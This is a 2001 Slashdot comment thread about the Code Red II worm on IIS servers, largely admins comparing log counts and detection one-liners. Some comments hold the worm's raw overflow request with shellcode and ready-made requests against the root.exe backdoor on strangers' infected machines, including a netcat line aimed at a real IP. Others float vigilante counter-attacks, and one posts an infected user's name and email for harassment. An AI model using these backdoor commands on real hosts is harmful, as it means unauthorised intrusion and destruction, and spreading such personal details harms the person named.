    so can I sue Microsoft for allowing this to be installed on all their servers and for their use of my apache's server resources?

  461. here are the latest.. (GMT-4) by Anonymous Coward · · Score: 0

    211.xxx.xxx.xxx - - [05/Aug/2001:02:08:55 -0300] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271 154.xxx.xxx.xxx - - [05/Aug/2001:02:35:30 -0300] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271

  462. Re:If this can't break Microsoft's back nothing wi by IronChef · · Score: 2


    A product that is given away and not sold can, I think, have a reliability disclaimer. But as soon as money is exchanged for goods or services you enter into a social contract. Things you buy shouldn't suck.

  463. Re:A few more details:It's a root trojan by dillon_rinker · · Score: 2

    Wow! I didn't know a command prompt was a GUI!

  464. ...or you can totally disable it by glokkpod · · Score: 1

    just do this...

    ie renaming root.exe to something less dangerous...

  465. Re:What about.... by cyberdonny · · Score: 2

    For obvious reasons, the worm is programmed to ignore the 127.0.0.1 netinterface. However, all other interfaces, even 192.168., and 10. are fair game: the reasoning here is that scanning those will allow the worm to infect machines behind NAT routers.

  466. Re:logs by possum_ · · Score: 0

    Might I suggest adding | sort -u to the end ;)

  467. Why not fight back ??? by Anonymous Coward · · Score: 0

    Could someone write a nice little apache module that would DOS the IP sending the code red http gets ?? This would be pretty easy to do, and I know I would run it on my apache box !! screw these stupid M$ web servers !! if enough people did this then the infected box's would be DOS'd off the net !! And why dosent any one sue M$ over all these security flaws ? I know that if a company made an unsafe tire tbey get sued.. why not M$ for such awful code ? ok, my rant is over....

    1. Re:Why not fight back ??? by fanatic · · Score: 2

      Microsoft's did it in advance with the EULA

      Most courts still find licenses imposed after purcahse to be meaningless. These are nothing more (unless you live in Maryland or Virginia, where UCITA has already passed) than an attempt to convince you that you don't have the rights that you in fact do.

      This is why UCITA is such an evil piece of crap. EULAs would be binding under UCITA.

      --
      "that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
  468. logs by Kryptolus · · Score: 5, Interesting

    automatically generated list of attacks against my server

    147 attacks so far

    the page is generated through a perl script that reads my apache logs

    --

    --
    Violators will be prosecuted and prosecutors will be violated.
    1. Re:logs by interiot · · Score: 2
      gzip -dcf /var/log/apache/* | grep '[NX][NX][NX][NX]'

      Adjust the path to wherever your apache logs are.

    2. Re:logs by Progman · · Score: 1

      cat /etc/httpd/logs/access* | grep default.ida | wc -l

      yet another Useless Use of Cat

      grep default.ida access*

    3. Re:logs by Anonymous Coward · · Score: 0

      I know this is probably going to generate a lot of grumbling, but for someone just running Win98, does anyone know of an easy way to count hits? I'm in the 24.xxx.xxx.xxx block of IP's and getting pounded. Would be cool to see how many. (oh, and I'm not running PWS and have latest patches)

    4. Re:logs by Whoever · · Score: 0

      [root@c629462-b logs]# cat access_log | grep default.ida | wc -l
      631
      [root@c629462-b logs]#

      Damn 631 hits on my little @home linux webserver.

    5. Re:logs by psydad · · Score: 1

      In looking over my logs over the last week or so, I've noticed a dramatic increase in the number of port 13139 probes. I understand that this is a fragmented UDP port attack, but has anyone else noticed this?

    6. Re:logs by alcmena · · Score: 1

      I just ran a quick test of my logs since the 15 of July. I had 127 hits from V1, and 126 hits from V2. What's somewhat scary is that I had 2 hits from V2 in the last 15 minutes alone.

    7. Re:logs by Pathwalker · · Score: 2

      Not too many attacks where I am - so far this month I've seen the old worm 91 times, and the new worm only 13 times.

      I'm making a nice graph of the infection attempts over time Here. It Should be fun to see how long it takes for version 2 to pass version 1.

    8. Re:logs by Saint+Nobody · · Score: 2
      technically you should probably doing
      grep -E 'NNNN|XXXX'
      so you wouldn't catch "XNNX" and other such variations... not that it would even matter for the most part. i'm just being pedantic.
      --
      #define F(x) int main(){printf(#x,10,#x);}
      F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
    9. Re:logs by Saint+Aardvark · · Score: 2

      Crap, you're right....my bad. It's late and I should go to bed, but there's a horrible fascination in watching the comments roll in and seeing what this is doing...

    10. Re:logs by JM_the_Great · · Score: 1

      Just do a:

      cat /etc/httpd/logs/access* | grep default.ida | wc -l

      I've had 190 so far. (of course you might have to change the path of the logs...). I love PERL as much as the next guy, but sometimes the UNIX shell is easier :)

      --

      --Justin Mitchell
      "2nd Place is a fancy word for losing" --Bender (Futurama)
    11. Re:logs by ncc74656 · · Score: 2
      Here's another list of Code Red attacks for your amusement. Apache logs to MySQL here, so I have a script that queries the database and formats the results into a table. The table is then inserted into the HTML with a server-side include. As of this post, I'm up to 972 attacks. Nearly half are from other Cox Express customers, and the total count is about an order of magnitude greater than when I last checked for Code Red activity on Friday.

      I sent out email a while back to the 74 hosts known to be infected at the time. Hopefully a few of them will get a clue and fix their servers. (Then again, if they're running "Internet Infection Server" on publically-available servers, they must've been clue-deficient to begin with. :-) )

      --
      20 January 2017: the End of an Error.
    12. Re:logs by Krusty+Da+Klown · · Score: 1

      or for gzipped files just: zgrep -c default.ida /path/to/logs/*.gz

  469. To see them live by cybermage · · Score: 2, Interesting

    To see them come in live:

    tail -f [log_file] | grep default.ida

    To see just CR2, s/default.ida/default.ida\?XXX/

    I got three while writing this. I was wondering what was slowing things down tonight.

    1. Re:To see them live by LinuxHam · · Score: 1

      I actually *opened* port 80 on my firewall and hung netcat off it with xinetd, just so snort would have some packets to watch.

      Then, to watch it live, I

      tail -vf /var/log/messages | grep snort

      instead of seeing the whole attack on each line, I get a neat little snort alert like this:

      Aug 5 04:57:24 ast snort[27858]: [1:0:0] CodeRed IDA Overflow: 65.68.10.178:1119 -> 64.20.132.92:80

      which reminds me.. I have to go check out snort.org and see if anyone published a rule to detect CRv2.. gotta go!

      --
      Intelligent Life on Earth
  470. Now that is funny! by stuccoguy · · Score: 5, Funny

    This guy's computer is infected and attacking me every 10 minutes or so. I went to his web page and found this resume which indicates the guy is a Windows2000 expert and Network Technician!

    1. Re:Now that is funny! by loconet · · Score: 0

      He has a BS.E ...ofcourse he doesnt know what he's doing

      --
      [alk]
    2. Re:Now that is funny! by gascsd · · Score: 3, Funny

      heh. he lives in my apartment complex, and i know exactly where his apartment is (i have a friend over there on that side of the complex). i'll go tell him his box got 0wN3d then hand him my 4.3R CD =)

    3. Re:Now that is funny! by Anonymous Coward · · Score: 0

      Heh, he lives on Apache boulevard. Seems strange that someone with an "in depth background" in C++ would use Front Page 2000 to create their resume page.

    4. Re:Now that is funny! by GroovBird · · Score: 1

      He's just a tech support guy. Also, he wrote the page in Frontpage and I did a reverse lookup. I don't believe this guy is running the server.

      So he's not to blame. Go make fun out of someone else.

    5. Re:Now that is funny! by Jester998 · · Score: 1

      LOL... AND he has "an in depth background in many software packages and operating systems"... INCLUDING Linux/UNIX... if he has such an indepth background, surely he wouldn't be running a *gasp* GUI-based server, would he? ;)

    6. Re:Now that is funny! by Anonymous Coward · · Score: 0

      ROTFL!

    7. Re:Now that is funny! by Anonymous Coward · · Score: 0

      Well, so much for that old New Yorker cartoon.

    8. Re:Now that is funny! by Anonymous Coward · · Score: 0


      65.4.1.33This one says fuck us government. Contact:sysadmcn@yahoo.com.cn


      I got that one too, i emailed the address but it bounced.

    9. Re:Now that is funny! by Anonymous Coward · · Score: 0

      Looks like this get has had his share of getting rooted. This was a message that one of the automatic IIS unicode exploits from a couple months back left on the default web.

    10. Re:Now that is funny! by Anonymous Coward · · Score: 0

      You know what would be even funnier, is if someone posted this guys real name (BENJAMIN M. CONNER) so that whenever prospective employers punch his name into Google, they'll see what an incompetant idiot he was.

      Here's his email:
      COPPRMAN@USWEST.NET

      Be sure to drop him a line.

      ---
      (shamelessy protecting my own identity)

    11. Re:Now that is funny! by Anonymous Coward · · Score: 0

      My first thought was "recent convert" but it seems more likely that this is a home user with a dual-boot system. Hmm .. interesting .. a traceroute shows this guys in Hong Kong ..

  471. a quick fix by Swordfish · · Score: 2, Informative
    Here's a perverse idea for a quick fix for CR2.

    First, see here for how to telnet into the back door left by all CR2 infections. Second, write a script to telnet to all infected hosts which probe you on port 80 and shut down the offending machine. Third, run this script on your web server so that all hosts probing your site get shut down.

    If everyone did this, then CR2 would disappear off the net within 24 hours, and we could all rest easy!

    1. Re:a quick fix by Anonymous Coward · · Score: 0

      Anybody caught dead using IIS after the last 20 root exploits really needs to have their head examined.

      HAhahaha! Don't you mean "Anyone who WOULD be caught dead..." (as in "I wouldn't be caught dead wearing that shirt!). Oh, wait, no, you can't be caught dead using IIS. hahahaha. mixing your goddamned slang terms. learn you some english. you stupid fuck.

    2. Re:a quick fix by dozing · · Score: 2, Funny

      Wouldn't the best and quickest fix be to telnet into the machines and give 'em the old:
      c:\deltree windows

      maybe we could even install scripts on our own servers to automatically do this each time we recieve a new attack. Automated windows repair solutions.

      --
      Dozings.com -- Its kinda funny... If you're as crazy as me.
    3. Re:a quick fix by Malcontent · · Score: 2

      According to the MS web site you don't need "expensive unix sysadmins" to install, configure and run MS servers. They tell their customers that sysadmins are not needed. You can't blame the clueless PHBs of the world when they believe MS can you? It hasn't occured to them that a MS employee who hasn't told ten lies by lunch will automatically be fired.

      --

      War is necrophilia.

    4. Re:a quick fix by Malcontent · · Score: 2

      Who can find anything on that insane web site. I know I have read an interview by an MS executive who said that. That was the talking point a while back when MS was talking up TCO.

      --

      War is necrophilia.

    5. Re:a quick fix by sheldon · · Score: 1, Troll

      It seems that this is mainly a question of discipline on the part of administrators. These boxes being hit by Code Red seem to come off cable modems and DSL lines. They are installations which were probably not done properly, are not maintained, and don't have the latest patches.

      The same would also be true if these same users were using Linux, for the exact same reasons.

      If you were to follow Linux security advisories you would see it is no more or less secure than anything produced by Microsoft or any other commercial software company.

      Now maybe there are other alternatives out there. But like my VIC-20, many of them lack functionality.

    6. Re:a quick fix by sheldon · · Score: 2

      Where is this statement that "sysadmins are not needed" located on the MS website?

    7. Re:a quick fix by unitron · · Score: 2

      Wandering a little off-topic, how many machines out there have passwords known only to one person who has made no provision whatsoever for anyone else to have access to that password should they suddenly get hit by a bus or a meteorite, have a stroke or a coronary, or vanish in a puff of smoke due to insert your favorite religion here?

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

    8. Re:a quick fix by Saint+Aardvark · · Score: 2

      Heh...there's a guy like that where I work who basically built the whole network. God alone knows what'll happen to us if he gets hit by a meteorite.

    9. Re:a quick fix by Anonymous Coward · · Score: 0

      Please do -P though. Rebooting is the first thing they will try.

  472. I am happy that QuickPlace and Domino also 404 by iconnor · · Score: 1

    I was searching for the XXXX and NNNN stuff all over (altavista, google, msdn, dejanews). Thanks for posting the request, I now know why all these useless lines are showing up in my logs.
    I have noticed that Altavista and Google just don't seem to keep up any more. I guess the internet became too big for them. A few years ago I liked using Altavista.

    1. Re:I am happy that QuickPlace and Domino also 404 by Anonymous Coward · · Score: 0

      Yeah. Of course if you search for NNN you probably won't find anything. But XXX will...

    2. Re:I am happy that QuickPlace and Domino also 404 by Anonymous Coward · · Score: 0

      If you go on CERT and search for code red, you will get exactly that request as sign of code red trying to get in. I was getting those last night too and got nervous. But the CERT page put me at ease.

  473. Re:Why don't they... by Anonymous Coward · · Score: 0

    Personally I think it'd be the most hilarious thing anyone could ever do. Modify the worm the use the same IIS backdoor and then have it download and install the patch from Microsoft's site (so everyone can be happy that you're not downloading some trojaned copy). I wouldn't hold it against my neighbor if they came over and locked my car doors at night or rolled up my windows if I forgot to before I went on vacation. It's called being a good samaritan. Somewhere along the line it got twisted into being criminal. So, how about it guys? Can anyone whip something like this up and start injecting it into the net as an antibiotic? :-)

  474. Re:Hey... maybe we can use an M$ exploit to FIX th by MyMomIsALinuxHacker · · Score: 1

    Why the hell would we need default.ida to xploit IIS?
    Plus, imagine how much bandwith would be wasted with that.. and more, Apache runs mostly on Linux or other Unix based OS, so CR is not efective against them..

    Bad idea.

    Exploiting people until they die is more productive.

  475. oooh... Re:help with apache? by Megahurts · · Score: 1

    Isn't there a command to power down an NT box? If so replace the "start+http://sdgawld'woih`~~~whateverblahblahblah " with that command. orrr... (I think even I may not be evil enough to do this): http://ADDRESS/scripts/root.exe?+/c+start+http://g oatse.cx

  476. Rooted? Lemme get this straight.... by daImpact · · Score: 1

    as I understand Code Red can only penetrate IIS on NT or W2000. Wouldn't it be more fitting to say that compromised boxes get ..err.. "Administered"? Just wondering.....

    1. Re:Rooted? Lemme get this straight.... by dillon_rinker · · Score: 2

      Or my favorite techno-mangling of the English language:

      administrated

  477. Re:Does anyone know.... by Anonymous Coward · · Score: 0

    havent been paying attention have you????

  478. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    Patched systems run fine. Remeber what happens when a Redhat 7.0 systems is connected to the internet? Cracked within 72 hours.

  479. BOW DOWN AND WORSHIP, SLUT by Anonymous Coward · · Score: 0

    FIRST GODDAMN POST BITCHES! YEAH! SUCK IT! these are the lowercase letters i type to avoid the lameness filter, which does quite a job on improving the signal to noise ratio. how is the price of tea in china these days? probably higher than the price of red hat. supafly, supa dupa fly, supa fly, supa dupa fly.

  480. Re:CR2 Web Defacements by baptiste · · Score: 2
    Actually, accoridng tothe virus analysis on BUGTRAQ and eeye.com, CodeRedII does NOT deface the home page. However, CRv2 (2nd generation of the first Code Red worm, not the same as CodeRedII - got that? :) ) is still in teh wild and will deface the main page. Also, the Pobox worm has been around a long time. Or soem script kiddies are tossing these pages in using the root backdoor from CRII.

    I tried to post the BUGTRAQ analysis from EEYE, but lameness filter choked on it

  481. Top 8 things to do with Code Red by startled · · Score: 4, Funny

    Bah, what a waste. Screw that, here are some other things you should do along with your white hat program:

    1. Distribute Elcomsoft's e-book reader to all compromised boxes; search for any Adobe e-books and write out a plaintext copy.
    2. Append the code to DeCSS to all Word documents on the box.
    3. Modify the code to only patch the box when Dmitry is finally released from jail.
    4. Install Linux; reboot.
    5. Install BSD; reboot.
    6. Configure box to DoS MS's IIS patch servers; condemn MS for making patches inaccessible.
    7. Script all boxes to respond to /. stories with one of two comments: "dammit, this is a duplicate! Here is the original at goatse.cx", or "Katz iz 4 t00l!!!1@".
    8. Install SETI; add the box to your team; brag about your high score.

    Note: these are jokes. Please, please, do not do these things. Especially because if you do, the feds will come knocking on my door. :)

  482. Re:cisco 675 hanging. by lichtin · · Score: 1
    Cisco page

    Woa, finally got this link right. I'm tired..

  483. Re:Something that should happen more often. by fors · · Score: 1

    Considering there are more than twice as many servers using Apache as IIS and the fact that you can get the source for Apache I would say that it is entirely likely that there are as many or more attempts to crack Apache. As a rule however Apache users are much more likely to keep up with patches.

    --
    "If there is nothing you are willing to die for, then you are not really alive." Myself
  484. It's not safe to install IIS while on a network... by weave · · Score: 5, Insightful
    With this high a number if scans it is now suicidal to install IIS while connected to the net. Chances are very good that your box will get compromised before you have a chance to apply the patch, even if you do so right away. And since people can easily set up a reverse hack to automatically do other nasty stuff to your box after THEY get probed, the risk is even higher.

    Solution, never ever have your box plugged into the network while installing a Windows server. Only plug it in after all patches, service packs, and hot fixes have been applied first.

  485. Re:cisco 675 hanging. by cowboy+junkie · · Score: 2

    Welp, I've just tried changing the port to see how that will work (my connection has been up and down like a yo-yo for the past couple of days). Qworst doesn't have the 2.4.2 update available and for some reason Cisco doesn't want to make it available directly to customers.

    On a lighter note, Qworst's support # had a 111 minute wait to talk to someone tonight...gotta love it...

  486. Re:If this can't break Microsoft's back nothing wi by meta-monkey · · Score: 1

    I wasn't talking specifically about code red. There are plenty of exploits and outlook viruses that affect Windows98, many of which are fixed with patches. I was trying to point out the flaw in the other guy's argument that regular users need to get themselves a firewall and be security concious. That's a noble ideal, but unlikely to happen given that most computer users (read "Windows users") don't have a damn clue. That was not meant to advocate linux...as my mother-in-law can barely figure out windows, linux would probably be unusable for her. Don't give me "Oh have you seen the newest Gnome?". Read Sun's Gnome usability test. Same applies for KDE. Windows users still have a hard time figuring out Linux. Now go back to first-posting and leave the discussions to non-trolls.

    --
    We don't have a state-run media we have a media-run state.
  487. Re:cisco 675 hanging. by mortenf · · Score: 1

    Another way is to NAT the traffic through, possibly to an unused IP - that's what I'm doing on a 677.

    I put it through to my webserver though, so I can run all of those nifty little stat scripts...

    mortenf

    --
    Don't make fun of my speling, english is my 2nd language...
  488. Re:A few more details:It's a root trojan by glokkpod · · Score: 2, Interesting

    I've been tinkering and I've found that this will help cure the "root exploit":

    GET /scripts/root.exe?/c+ren+root.exe+infected.dat HTTP/1.0

  489. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0

    The only truly secure machine is the one that's been unplugged, powered down, encased in concrete, wrapped up in a Faraday cage, and then dropped into the Marianas Trench.



    Ahh, you left the data on the hard drive AND you told everyone where you put it. I'm gonna OWN that machine, and it's data too... Brahh ha ha ha ha.



  490. Re:If this can't break Microsoft's back nothing wi by DNS-and-BIND · · Score: 1

    So, has anyone ever actually won the $5 off of them? It would at least make for a good story, and a nice framed check on the wall.

    --
    Shutting down free speech with violence isn't fighting fascism. It IS fascism!
  491. Re:Free r00t for all! by obsessively+puzzled · · Score: 1

    >copy con: sillymsg.txt Type some message to the user here blah blah blah ^Z (That's a ctrl-z) >notepad sillymsg.txt

  492. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  493. How to generate a list of ALL CRII infected hosts by braddock · · Score: 2
    This analysis at http://braddock.com/cr2.html describes a means through which a complete list of the thousands of CodeRed II infected and backdoor compromised hosts can be easily obtained by any individual who has been keeping a web server log of attempts on his machine, by using the backdoors on the machines that have attacked him to obtain the the web logs of the infected attacking IIS web servers to learn of new infected hosts.

  494. Re:@home problems... by jmitchel!jmitchel.co · · Score: 1

    I noticed this afternoon that my recieve light was always on on my cablemodem too. It is continual arps, which I just realized were the product of infected computers trying to scan non-existent addresses, which the routers have to try to resolve.

  495. Re:Shut them down... by Anonymous Coward · · Score: 0

    Nice idea, but it doesn't actually work under Windows 2000 at all. Which is a shame, considering that the worm's exploit only works correctly against Windows 2000 machines.

    I tried this on a couple of Windows 2000 and Windows NT 4.0 workstations around the place, as well as a "test" infected IIS system - it didn't work in any case.

  496. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    No different. Just another scumbag.

  497. Re:Why don't they... by MrBogus · · Score: 1

    Cool idea, but my guess is that most IIS boxes are not just missing one patch, but instead missing 15.

    Maybe a redirect to www.microsoft.com/security instead of the 'Hacked by Chinese' message would be appropriate.

    --

    When I hear the word 'innovation', I reach for my pistol.
  498. Speakeasy's TOS by Greyfox · · Score: 2

    I seem to recall that Speakeasy will shut you down for "hacking activity," even if that activity occurred because your system was compromised. They pretty much demand that you keep your system secure in their TOS (Which I don't object to at all, mind you.)

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  499. We know where it's coming from by Anonymous Coward · · Score: 0

    But where is it going? Last time around it was pointed at the old whitehouse web server's ip. I read on incidents.org that it leaves a shell in /scripts, but have been unable to connect to one. Is this all it does? Is it going to start DoS'ing something in a few day? Or just leave rooted NT boxen around for haxors to find? - elib

  500. Re:Something that should happen more often. by Malcontent · · Score: 2

    Wow that was in 1988. I'd say it's a pretty good record.

    Let's count the number of IIS remote hacks and the number of apache remote hacks and see who wins.

    --

    War is necrophilia.

  501. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    Couldn't you guys do something a little more constructive like: GET /scripts/root.exe?/C%20echo%20infected_by_code_red %20>%20infected_by_code_red.txt seems to work... if you do a GET...dir afterwards, your infected_by_code_red.txt appears along with root.exe

  502. Weird... by Jester998 · · Score: 1

    Taking a peek at my (Apache, naturally) server logs, I see something pretty weird, though understandable given the info on CR2... I've had 11 unique IPs try to hit me for CR2, but 56 (!) unique hosts try to hit me with the original Code Red... mind you, my server is on a Class C network (yet my desktop is on a Class B network, and both boxes share the same DSL connection... figure THAT one out. :)), so that probably has something to do with it.

    I just found it a little odd that the original worm is still so proliferant.

  503. Re:Code Red source available by Anonymous Coward · · Score: 0

    Thank fuck that that's all it is. I clicked on it there to see if it would pass the iCab test. No windows opened. Then I went to index2.html, and it asked if all browser windows to be closed (OK, or OK? :) Nothing. Yay. Of course, Konquerer prolly does all that shit too.

  504. Re:It's not safe to install IIS while on a network by indiigo · · Score: 1

    Not true. You can install the hotfixes before you install IIS and you'll be fine...

    In fact, with W2K on the internet with no firewall, no file and print sharing, and netbios over TCP/IP disabled, you should be relatively secure...

    --
    fslg503-985-8686503-985-8686503-985-8686503-985-86 8650 3-985-fdsg8686503-985-8686503-985-8686503-9
  505. New Code Red Variant by cfreeze · · Score: 1

    I sent this in as an anonymous story, but it looks like this one got posted instead. According to www.incidents.org there is a new variant of Code Red (of which this would be the third version). This one installs a backdoor. As someone else posted here, the tell tell sign is that the buffer overwrite payload is now a string of 'X's and not 'N's as in the previous two versions of Code Red. The stakes have been raised folks.

  506. Re:what MS has done. by greenrd · · Score: 1
    Not only that, but even if you delete root.exe, a trojaned Explorer.exe will replace it when you next login.

    Because of what some cracker might have done since it was exploited, the only safe thing to do is to reformat c:\... and install a more secure operating system.

  507. How can anybody still have code red by blonde+rser · · Score: 1

    If it stopped spreading on the 21st and didn't start again until the 3rd how could the worm have still been around to spread. That means someone must have had longer than a 10 day uptime on a win2k box... I don't buy it.

  508. Anybody else seen this? by gabe647 · · Score: 1

    I checked out a couple of boxes in the 24.x.x.x range that had bounced port 80 requests off of my firewall. They were running Win2K/IIS and had their index.htm replaced with a black page whose source contained derogatory comments concerning the "USA Government" and "PoizonBOx". Is this a function of the worm or were they 0wned post-infection?

    --
    Never underestimate the power of human stupidity.
  509. What if MICROSOFT saves the world? by rahl · · Score: 1

    Listen to this idea that just hit me: people have been speculating about writing a worm, "Code Green" or whatever to go through and patch the vulnerable IIS servers. What if Microsoft writes this worm, releases it, and comes out as saviors? They'd look better than ever because.

    Food for thought, no?

    --
    Reality is indistinguishable from any sufficiently advanced fantasy.
  510. CGI reply by Anonymous Coward · · Score: 0
    I tried several of these remote script.exe exploits. Some just cough, some reply with the good old "Hacked by Chinese, http://www.worm.com".

    Neat, huh?

  511. All is goo in the land of Microsloth by clinton(x) · · Score: 1

    Fucking Winders NT. I was going to summarily execute the machine it was running on (you guessed it - it crashed), drag it out into the car park and break into and hotwire my old best friend's dilapidated dumped de-registered car and start taking potshots, screaming howling berating and throwing Jack Daniels bottles at it whilst I reversed backward and forward over it, but then I calmed significantly and remembered that all is goo in the land of Microsloth.

  512. Re:Hey... maybe we can use an M$ exploit to FIX th by raju1kabir · · Score: 2
    Why the hell would we need default.ida to xploit IIS? Plus, imagine how much bandwith would be wasted with that.. and more, Apache runs mostly on Linux or other Unix based OS, so CR is not efective against them..

    Either you didn't read the message at all, or you are an extremely dumb person.

    What he's suggesting is to set up Apache so that it will automatically repair any IIS servers that attack it.

    Has nothing to do with whether Apache is vulnerable to anything.

    --
    "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  513. the real kicker is by metalhed77 · · Score: 1

    the guy puports to have "in depth knowledge" of front page 2000. First time i've heard of that as an asset...

    --
    Photos.
    1. Re:the real kicker is by nmos · · Score: 1

      "Again, admining a Unix box CAN be cheaper and takes less time, but when I get around to an office once a month, that ain't going to cut it when then need new users added to the system and mail accounts set up...how about a new CGI installed for the webserver...that sorta stuff. Having a geek on call would be perfect, but the cost of a fulltime windows person is still going to be far cheaper than a part time unix person that knows what they are doing."

      That's why you set up remote access to the Unix boxen. They want something changed and you take care of it without having to get off your butt and go drive somewhere :) I'm not saying that's the right solution everywhere but it's sometimes cheaper & faster than fixing up the mess that some winadmin made (ie. backups? what backups?).

      --
      Ray

  514. Proposal for White Hat'ing CR][ by nebby · · Score: 5, Informative

    Since it seems that it's possible to run, and basically do, anything trivially on any of these infected computers via the root.exe "script" I'm guessing that a lot of shit is going to go down in the next two days that will probably be both good and bad for Microsoft and the public's understanding of network security.

    I'm also guessing that right now a bunch of /.'ers are doing one of two things:

    1) Writing scripts to make things suck more for those who have been compromised (shame on you)
    or
    2) Writing scripts to fix the compromised servers

    I propose that if a script is created to fix these servers (Code Green? :)) that it not be launched until after Monday afternoon around 3 or 4PM, since this is a serious problem for both sysadmin's and Microsoft. If a large part of the damage is avoided by white hat hackers sending a cure for the virus out, it will only happen again. If you don't give them time to sweat, then nothing will be changed and a even more malicious virus (which say, deletes the entire contents of the drives or something) will be unleashed soon enough.

    So, before you go out and launch a cure for the problem, think twice about the long term effects of doing so. Create it, make sure it works, and then the Open Source movement can release a cure for the problem faster than anyone else and "we" (I'm not really part of the OSS movement, or whatever) will look like the good guys. Instead of the media holding Microsoft on high for providing the cure to a problem they caused, if the patch is done and ready and launched by Monday afternoon they will have egg on their faces.

    Thanks.

    --
    --
    1. Re:Proposal for White Hat'ing CR][ by Anonymous Coward · · Score: 0
      I'm also guessing that right now a bunch of /.'ers are doing one of two things:

      1) Writing scripts to make things suck more for those who have been compromised (shame on you) or
      2) Writing scripts to fix the compromised servers

      99 % of the "/.'ers" are 14-year-olds posting from their parents' basements who think they're 3l337 but really couldn't code their way out of a paper bag. They are certainly fantasizing about doing (1) or (2), but very little else.

      I propose that if a script is created to fix these servers (Code Green? :)) that it not be launched until after Monday afternoon around 3 or 4PM, since this is a serious problem for both sysadmin's and Microsoft.

      Again, it ain't gonna happen. Look at it this way: if it was gonna happen, why didn't happen in the middle of July, when the original Code Red first appeared? (Code Red II involves the exact same IIS exploit.)

  515. [Fill in the blanks] by LS · · Score: 2


    I find it really [lame|!1337|st00pid|boring] how a joke will appear and everyone will copy it. Imagine if I had a [Beowulf cluster|DDoS network|Wireless network] full of bots posting stupid clones of jokes we already saw and laughed [never|once|more than we should have] at. [All your base belong to us|FUCK THINK GEEK|Once again, mod me down]. [Mod me down|be careful what you wish for, you will be modded down|shut up you schizoid freak]. Anyway, I'm drunk, as in [Free beer|Stupid assholes, where do you get free beer?|Stupid assholes, why are you trying to compare free speech with beer? I wonder why you get so little public support|Hey, did you see Dune the mini series? It ROCKED!] [Sorry, do punctuation marks go AFTER or BEFORE the bracket?]?

    [Anyway|Moving On|Madlibs are for 7 year olds at birthday parties high on sugar and plastic toy fumes], I hope we have come to an understanding that [transparent cases|shock the penguin - FUCK COMPAQ|old men with extremely wide assholes pictured on Christmas Island websites] are no longer [novel|interesting|clever.].

    --
    There is a fine line between being a cultivated citizen and being someone else's crop. - A. J. Patrick Liszkie
    1. Re:[Fill in the blanks] by Anonymous Coward · · Score: 0
      Sadly this is one of the best comments that I've ever seen on /.

      Well done

  516. Try this by Anonymous Coward · · Score: 1, Informative

    GET /scripts/root.exe?/c%20dir%20/s%20\* HTTP/1.0 :)

  517. me too by Anonymous Coward · · Score: 0

    at&t cable, down several hours yesterday (first time in over a month)

  518. Bookmarklet for IIS detection? by Cato · · Score: 2

    I'm not a JavaScript person, but how about writing a bookmarklet to take the current page's URL and query Netcraft for use of IIS and warn the user if it is? Bookmarklets are bookmarks that run small JavaScript programs - more info at http://www.bookmarklets.com/

  519. Re:Hypothesis by Anonymous Coward · · Score: 0
    I'm already looking forward to Code Red III
    maybe it'll be written without a script too, and gross millions of dollars.
  520. anyone got a copy of root.exe? by thogard · · Score: 1

    It should accept post values of just the right type and then use the a browser to control the box. So far 29 out of the 94 sites that have tried to attach my cable modem are still active.
    echo -e GET /scripts/root.exe HTTP/1.0\\n | nc -w 1 203.45.218.169 80

    You will get:
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    ...

    c:\inetpub\scripts>

    if it is hacked.

  521. gee, imagine that... by quackPOT · · Score: 1

    I was wondering when this mutant roach would be released. How much longer till more "mimin" type ugly bugs are sent out? -quackPOT

  522. @home problems... by garett_spencley · · Score: 2
    Slow service? I don't know about other @home customers (I'd like to hear) but my net connection was completely _down_ for about 8 hours this afternoon. As a matter of fact I just got back on.

    The interesting thing was that the "cable" light on my cable modem was still on when usually when I can't get on the net it is off.

    So I wonder what the problem really was. If maybe the routers were all up but the dhcp servers were down or something....

    Anyone else have similar problems?

    --
    Garett

    1. Re:@home problems... by garett_spencley · · Score: 2
      When service was down, I would ping my subnet's default gateway, and not receive a response. I subscribe to 2 IPs, on different subnets, and they've both been affected at various different times.

      But when that happens the light on the cable modem goes out. So it wasn't router issues.

      Personally, I feel that if this continues, @Home needs to credit me back part of my subscription fee.

      Yeah I'm thinking of switching to DSL personally. I know that this particular situation was not @home's fault (well, that is up for debate since if they didn't deploy IIS none of this would happen) but I've been experiencing really shitty service ever since I subscribed. A lot of down time really often.

      --
      Garett

    2. Re:@home problems... by coyote-san · · Score: 2

      @Home could block inbound HTTP queries (port 80, destination address in their block) without affecting outbound HTTP queries or their responses.

